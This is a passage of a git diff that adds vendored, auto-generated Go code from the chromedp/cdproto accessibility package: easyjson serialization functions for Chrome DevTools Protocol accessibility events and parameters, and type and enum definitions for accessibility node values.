+// UnmarshalJSON supports json.Unmarshaler interface
+func (v *GetAXNodeAndAncestorsParams) UnmarshalJSON(data []byte) error {
+ r := jlexer.Lexer{Data: data}
+ easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility16(&r, v)
+ return r.Error()
+}
+
+// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
+func (v *GetAXNodeAndAncestorsParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
+ easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility16(l, v)
+}
+func easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility17(in *jlexer.Lexer, out *EventNodesUpdated) {
+ isTopLevel := in.IsStart()
+ if in.IsNull() {
+ if isTopLevel {
+ in.Consumed()
+ }
+ in.Skip()
+ return
+ }
+ in.Delim('{')
+ for !in.IsDelim('}') {
+ key := in.UnsafeFieldName(false)
+ in.WantColon()
+ if in.IsNull() {
+ in.Skip()
+ in.WantComma()
+ continue
+ }
+ switch key {
+ case "nodes":
+ if in.IsNull() {
+ in.Skip()
+ out.Nodes = nil
+ } else {
+ in.Delim('[')
+ if out.Nodes == nil {
+ if !in.IsDelim(']') {
+ out.Nodes = make([]*Node, 0, 8)
+ } else {
+ out.Nodes = []*Node{}
+ }
+ } else {
+ out.Nodes = (out.Nodes)[:0]
+ }
+ for !in.IsDelim(']') {
+ var v31 *Node
+ if in.IsNull() {
+ in.Skip()
+ v31 = nil
+ } else {
+ if v31 == nil {
+ v31 = new(Node)
+ }
+ (*v31).UnmarshalEasyJSON(in)
+ }
+ out.Nodes = append(out.Nodes, v31)
+ in.WantComma()
+ }
+ in.Delim(']')
+ }
+ default:
+ in.SkipRecursive()
+ }
+ in.WantComma()
+ }
+ in.Delim('}')
+ if isTopLevel {
+ in.Consumed()
+ }
+}
+func easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility17(out *jwriter.Writer, in EventNodesUpdated) {
+ out.RawByte('{')
+ first := true
+ _ = first
+ {
+ const prefix string = ",\"nodes\":"
+ out.RawString(prefix[1:])
+ if in.Nodes == nil && (out.Flags&jwriter.NilSliceAsEmpty) == 0 {
+ out.RawString("null")
+ } else {
+ out.RawByte('[')
+ for v32, v33 := range in.Nodes {
+ if v32 > 0 {
+ out.RawByte(',')
+ }
+ if v33 == nil {
+ out.RawString("null")
+ } else {
+ (*v33).MarshalEasyJSON(out)
+ }
+ }
+ out.RawByte(']')
+ }
+ }
+ out.RawByte('}')
+}
+
+// MarshalJSON supports json.Marshaler interface
+func (v EventNodesUpdated) MarshalJSON() ([]byte, error) {
+ w := jwriter.Writer{}
+ easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility17(&w, v)
+ return w.Buffer.BuildBytes(), w.Error
+}
+
+// MarshalEasyJSON supports easyjson.Marshaler interface
+func (v EventNodesUpdated) MarshalEasyJSON(w *jwriter.Writer) {
+ easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility17(w, v)
+}
+
+// UnmarshalJSON supports json.Unmarshaler interface
+func (v *EventNodesUpdated) UnmarshalJSON(data []byte) error {
+ r := jlexer.Lexer{Data: data}
+ easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility17(&r, v)
+ return r.Error()
+}
+
+// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
+func (v *EventNodesUpdated) UnmarshalEasyJSON(l *jlexer.Lexer) {
+ easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility17(l, v)
+}
+func easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility18(in *jlexer.Lexer, out *EventLoadComplete) {
+ isTopLevel := in.IsStart()
+ if in.IsNull() {
+ if isTopLevel {
+ in.Consumed()
+ }
+ in.Skip()
+ return
+ }
+ in.Delim('{')
+ for !in.IsDelim('}') {
+ key := in.UnsafeFieldName(false)
+ in.WantColon()
+ if in.IsNull() {
+ in.Skip()
+ in.WantComma()
+ continue
+ }
+ switch key {
+ case "root":
+ if in.IsNull() {
+ in.Skip()
+ out.Root = nil
+ } else {
+ if out.Root == nil {
+ out.Root = new(Node)
+ }
+ (*out.Root).UnmarshalEasyJSON(in)
+ }
+ default:
+ in.SkipRecursive()
+ }
+ in.WantComma()
+ }
+ in.Delim('}')
+ if isTopLevel {
+ in.Consumed()
+ }
+}
+func easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility18(out *jwriter.Writer, in EventLoadComplete) {
+ out.RawByte('{')
+ first := true
+ _ = first
+ {
+ const prefix string = ",\"root\":"
+ out.RawString(prefix[1:])
+ if in.Root == nil {
+ out.RawString("null")
+ } else {
+ (*in.Root).MarshalEasyJSON(out)
+ }
+ }
+ out.RawByte('}')
+}
+
+// MarshalJSON supports json.Marshaler interface
+func (v EventLoadComplete) MarshalJSON() ([]byte, error) {
+ w := jwriter.Writer{}
+ easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility18(&w, v)
+ return w.Buffer.BuildBytes(), w.Error
+}
+
+// MarshalEasyJSON supports easyjson.Marshaler interface
+func (v EventLoadComplete) MarshalEasyJSON(w *jwriter.Writer) {
+ easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility18(w, v)
+}
+
+// UnmarshalJSON supports json.Unmarshaler interface
+func (v *EventLoadComplete) UnmarshalJSON(data []byte) error {
+ r := jlexer.Lexer{Data: data}
+ easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility18(&r, v)
+ return r.Error()
+}
+
+// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
+func (v *EventLoadComplete) UnmarshalEasyJSON(l *jlexer.Lexer) {
+ easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility18(l, v)
+}
+func easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility19(in *jlexer.Lexer, out *EnableParams) {
+ isTopLevel := in.IsStart()
+ if in.IsNull() {
+ if isTopLevel {
+ in.Consumed()
+ }
+ in.Skip()
+ return
+ }
+ in.Delim('{')
+ for !in.IsDelim('}') {
+ key := in.UnsafeFieldName(false)
+ in.WantColon()
+ if in.IsNull() {
+ in.Skip()
+ in.WantComma()
+ continue
+ }
+ switch key {
+ default:
+ in.SkipRecursive()
+ }
+ in.WantComma()
+ }
+ in.Delim('}')
+ if isTopLevel {
+ in.Consumed()
+ }
+}
+func easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility19(out *jwriter.Writer, in EnableParams) {
+ out.RawByte('{')
+ first := true
+ _ = first
+ out.RawByte('}')
+}
+
+// MarshalJSON supports json.Marshaler interface
+func (v EnableParams) MarshalJSON() ([]byte, error) {
+ w := jwriter.Writer{}
+ easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility19(&w, v)
+ return w.Buffer.BuildBytes(), w.Error
+}
+
+// MarshalEasyJSON supports easyjson.Marshaler interface
+func (v EnableParams) MarshalEasyJSON(w *jwriter.Writer) {
+ easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility19(w, v)
+}
+
+// UnmarshalJSON supports json.Unmarshaler interface
+func (v *EnableParams) UnmarshalJSON(data []byte) error {
+ r := jlexer.Lexer{Data: data}
+ easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility19(&r, v)
+ return r.Error()
+}
+
+// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
+func (v *EnableParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
+ easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility19(l, v)
+}
+func easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility20(in *jlexer.Lexer, out *DisableParams) {
+ isTopLevel := in.IsStart()
+ if in.IsNull() {
+ if isTopLevel {
+ in.Consumed()
+ }
+ in.Skip()
+ return
+ }
+ in.Delim('{')
+ for !in.IsDelim('}') {
+ key := in.UnsafeFieldName(false)
+ in.WantColon()
+ if in.IsNull() {
+ in.Skip()
+ in.WantComma()
+ continue
+ }
+ switch key {
+ default:
+ in.SkipRecursive()
+ }
+ in.WantComma()
+ }
+ in.Delim('}')
+ if isTopLevel {
+ in.Consumed()
+ }
+}
+func easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility20(out *jwriter.Writer, in DisableParams) {
+ out.RawByte('{')
+ first := true
+ _ = first
+ out.RawByte('}')
+}
+
+// MarshalJSON supports json.Marshaler interface
+func (v DisableParams) MarshalJSON() ([]byte, error) {
+ w := jwriter.Writer{}
+ easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility20(&w, v)
+ return w.Buffer.BuildBytes(), w.Error
+}
+
+// MarshalEasyJSON supports easyjson.Marshaler interface
+func (v DisableParams) MarshalEasyJSON(w *jwriter.Writer) {
+ easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility20(w, v)
+}
+
+// UnmarshalJSON supports json.Unmarshaler interface
+func (v *DisableParams) UnmarshalJSON(data []byte) error {
+ r := jlexer.Lexer{Data: data}
+ easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility20(&r, v)
+ return r.Error()
+}
+
+// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
+func (v *DisableParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
+ easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility20(l, v)
+}
diff --git a/vendor/github.com/chromedp/cdproto/accessibility/events.go b/vendor/github.com/chromedp/cdproto/accessibility/events.go
new file mode 100644
index 0000000000..ae3b511fcd
--- /dev/null
+++ b/vendor/github.com/chromedp/cdproto/accessibility/events.go
@@ -0,0 +1,20 @@
+package accessibility
+
+// Code generated by cdproto-gen. DO NOT EDIT.
+
+// EventLoadComplete the loadComplete event mirrors the load complete event
+// sent by the browser to assistive technology when the web page has finished
+// loading.
+//
+// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#event-loadComplete
+type EventLoadComplete struct {
+ Root *Node `json:"root"` // New document root node.
+}
+
+// EventNodesUpdated the nodesUpdated event is sent every time a previously
+// requested node has changed the in tree.
+//
+// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#event-nodesUpdated
+type EventNodesUpdated struct {
+ Nodes []*Node `json:"nodes"` // Updated node data.
+}
diff --git a/vendor/github.com/chromedp/cdproto/accessibility/types.go b/vendor/github.com/chromedp/cdproto/accessibility/types.go
new file mode 100644
index 0000000000..06a5d0e762
--- /dev/null
+++ b/vendor/github.com/chromedp/cdproto/accessibility/types.go
@@ -0,0 +1,457 @@
+package accessibility
+
+// Code generated by cdproto-gen. DO NOT EDIT.
+
+import (
+ "errors"
+
+ "github.com/chromedp/cdproto/cdp"
+ "github.com/mailru/easyjson"
+ "github.com/mailru/easyjson/jlexer"
+ "github.com/mailru/easyjson/jwriter"
+)
+
+// NodeID unique accessibility node identifier.
+//
+// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#type-AXNodeId
+type NodeID string
+
+// String returns the NodeID as string value.
+func (t NodeID) String() string {
+ return string(t)
+}
+
+// ValueType enum of possible property types.
+//
+// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#type-AXValueType
+type ValueType string
+
+// String returns the ValueType as string value.
+func (t ValueType) String() string {
+ return string(t)
+}
+
+// ValueType values.
+const (
+ ValueTypeBoolean ValueType = "boolean"
+ ValueTypeTristate ValueType = "tristate"
+ ValueTypeBooleanOrUndefined ValueType = "booleanOrUndefined"
+ ValueTypeIdref ValueType = "idref"
+ ValueTypeIdrefList ValueType = "idrefList"
+ ValueTypeInteger ValueType = "integer"
+ ValueTypeNode ValueType = "node"
+ ValueTypeNodeList ValueType = "nodeList"
+ ValueTypeNumber ValueType = "number"
+ ValueTypeString ValueType = "string"
+ ValueTypeComputedString ValueType = "computedString"
+ ValueTypeToken ValueType = "token"
+ ValueTypeTokenList ValueType = "tokenList"
+ ValueTypeDomRelation ValueType = "domRelation"
+ ValueTypeRole ValueType = "role"
+ ValueTypeInternalRole ValueType = "internalRole"
+ ValueTypeValueUndefined ValueType = "valueUndefined"
+)
+
+// MarshalEasyJSON satisfies easyjson.Marshaler.
+func (t ValueType) MarshalEasyJSON(out *jwriter.Writer) {
+ out.String(string(t))
+}
+
+// MarshalJSON satisfies json.Marshaler.
+func (t ValueType) MarshalJSON() ([]byte, error) {
+ return easyjson.Marshal(t)
+}
+
+// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
+func (t *ValueType) UnmarshalEasyJSON(in *jlexer.Lexer) {
+ switch ValueType(in.String()) {
+ case ValueTypeBoolean:
+ *t = ValueTypeBoolean
+ case ValueTypeTristate:
+ *t = ValueTypeTristate
+ case ValueTypeBooleanOrUndefined:
+ *t = ValueTypeBooleanOrUndefined
+ case ValueTypeIdref:
+ *t = ValueTypeIdref
+ case ValueTypeIdrefList:
+ *t = ValueTypeIdrefList
+ case ValueTypeInteger:
+ *t = ValueTypeInteger
+ case ValueTypeNode:
+ *t = ValueTypeNode
+ case ValueTypeNodeList:
+ *t = ValueTypeNodeList
+ case ValueTypeNumber:
+ *t = ValueTypeNumber
+ case ValueTypeString:
+ *t = ValueTypeString
+ case ValueTypeComputedString:
+ *t = ValueTypeComputedString
+ case ValueTypeToken:
+ *t = ValueTypeToken
+ case ValueTypeTokenList:
+ *t = ValueTypeTokenList
+ case ValueTypeDomRelation:
+ *t = ValueTypeDomRelation
+ case ValueTypeRole:
+ *t = ValueTypeRole
+ case ValueTypeInternalRole:
+ *t = ValueTypeInternalRole
+ case ValueTypeValueUndefined:
+ *t = ValueTypeValueUndefined
+
+ default:
+ in.AddError(errors.New("unknown ValueType value"))
+ }
+}
+
+// UnmarshalJSON satisfies json.Unmarshaler.
+func (t *ValueType) UnmarshalJSON(buf []byte) error {
+ return easyjson.Unmarshal(buf, t)
+}
+
+// ValueSourceType enum of possible property sources.
+//
+// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#type-AXValueSourceType
+type ValueSourceType string
+
+// String returns the ValueSourceType as string value.
+func (t ValueSourceType) String() string {
+ return string(t)
+}
+
+// ValueSourceType values.
+const (
+ ValueSourceTypeAttribute ValueSourceType = "attribute"
+ ValueSourceTypeImplicit ValueSourceType = "implicit"
+ ValueSourceTypeStyle ValueSourceType = "style"
+ ValueSourceTypeContents ValueSourceType = "contents"
+ ValueSourceTypePlaceholder ValueSourceType = "placeholder"
+ ValueSourceTypeRelatedElement ValueSourceType = "relatedElement"
+)
+
+// MarshalEasyJSON satisfies easyjson.Marshaler.
+func (t ValueSourceType) MarshalEasyJSON(out *jwriter.Writer) {
+ out.String(string(t))
+}
+
+// MarshalJSON satisfies json.Marshaler.
+func (t ValueSourceType) MarshalJSON() ([]byte, error) {
+ return easyjson.Marshal(t)
+}
+
+// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
+func (t *ValueSourceType) UnmarshalEasyJSON(in *jlexer.Lexer) {
+ switch ValueSourceType(in.String()) {
+ case ValueSourceTypeAttribute:
+ *t = ValueSourceTypeAttribute
+ case ValueSourceTypeImplicit:
+ *t = ValueSourceTypeImplicit
+ case ValueSourceTypeStyle:
+ *t = ValueSourceTypeStyle
+ case ValueSourceTypeContents:
+ *t = ValueSourceTypeContents
+ case ValueSourceTypePlaceholder:
+ *t = ValueSourceTypePlaceholder
+ case ValueSourceTypeRelatedElement:
+ *t = ValueSourceTypeRelatedElement
+
+ default:
+ in.AddError(errors.New("unknown ValueSourceType value"))
+ }
+}
+
+// UnmarshalJSON satisfies json.Unmarshaler.
+func (t *ValueSourceType) UnmarshalJSON(buf []byte) error {
+ return easyjson.Unmarshal(buf, t)
+}
+
+// ValueNativeSourceType enum of possible native property sources (as a
+// subtype of a particular AXValueSourceType).
+//
+// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#type-AXValueNativeSourceType
+type ValueNativeSourceType string
+
+// String returns the ValueNativeSourceType as string value.
+func (t ValueNativeSourceType) String() string {
+ return string(t)
+}
+
+// ValueNativeSourceType values.
+const (
+ ValueNativeSourceTypeDescription ValueNativeSourceType = "description"
+ ValueNativeSourceTypeFigcaption ValueNativeSourceType = "figcaption"
+ ValueNativeSourceTypeLabel ValueNativeSourceType = "label"
+ ValueNativeSourceTypeLabelfor ValueNativeSourceType = "labelfor"
+ ValueNativeSourceTypeLabelwrapped ValueNativeSourceType = "labelwrapped"
+ ValueNativeSourceTypeLegend ValueNativeSourceType = "legend"
+ ValueNativeSourceTypeRubyannotation ValueNativeSourceType = "rubyannotation"
+ ValueNativeSourceTypeTablecaption ValueNativeSourceType = "tablecaption"
+ ValueNativeSourceTypeTitle ValueNativeSourceType = "title"
+ ValueNativeSourceTypeOther ValueNativeSourceType = "other"
+)
+
+// MarshalEasyJSON satisfies easyjson.Marshaler.
+func (t ValueNativeSourceType) MarshalEasyJSON(out *jwriter.Writer) {
+ out.String(string(t))
+}
+
+// MarshalJSON satisfies json.Marshaler.
+func (t ValueNativeSourceType) MarshalJSON() ([]byte, error) {
+ return easyjson.Marshal(t)
+}
+
+// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
+func (t *ValueNativeSourceType) UnmarshalEasyJSON(in *jlexer.Lexer) {
+ switch ValueNativeSourceType(in.String()) {
+ case ValueNativeSourceTypeDescription:
+ *t = ValueNativeSourceTypeDescription
+ case ValueNativeSourceTypeFigcaption:
+ *t = ValueNativeSourceTypeFigcaption
+ case ValueNativeSourceTypeLabel:
+ *t = ValueNativeSourceTypeLabel
+ case ValueNativeSourceTypeLabelfor:
+ *t = ValueNativeSourceTypeLabelfor
+ case ValueNativeSourceTypeLabelwrapped:
+ *t = ValueNativeSourceTypeLabelwrapped
+ case ValueNativeSourceTypeLegend:
+ *t = ValueNativeSourceTypeLegend
+ case ValueNativeSourceTypeRubyannotation:
+ *t = ValueNativeSourceTypeRubyannotation
+ case ValueNativeSourceTypeTablecaption:
+ *t = ValueNativeSourceTypeTablecaption
+ case ValueNativeSourceTypeTitle:
+ *t = ValueNativeSourceTypeTitle
+ case ValueNativeSourceTypeOther:
+ *t = ValueNativeSourceTypeOther
+
+ default:
+ in.AddError(errors.New("unknown ValueNativeSourceType value"))
+ }
+}
+
+// UnmarshalJSON satisfies json.Unmarshaler.
+func (t *ValueNativeSourceType) UnmarshalJSON(buf []byte) error {
+ return easyjson.Unmarshal(buf, t)
+}
+
+// ValueSource a single source for a computed AX property.
+//
+// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#type-AXValueSource
+type ValueSource struct {
+ Type ValueSourceType `json:"type"` // What type of source this is.
+ Value *Value `json:"value,omitempty"` // The value of this property source.
+ Attribute string `json:"attribute,omitempty"` // The name of the relevant attribute, if any.
+ AttributeValue *Value `json:"attributeValue,omitempty"` // The value of the relevant attribute, if any.
+ Superseded bool `json:"superseded,omitempty"` // Whether this source is superseded by a higher priority source.
+ NativeSource ValueNativeSourceType `json:"nativeSource,omitempty"` // The native markup source for this value, e.g. a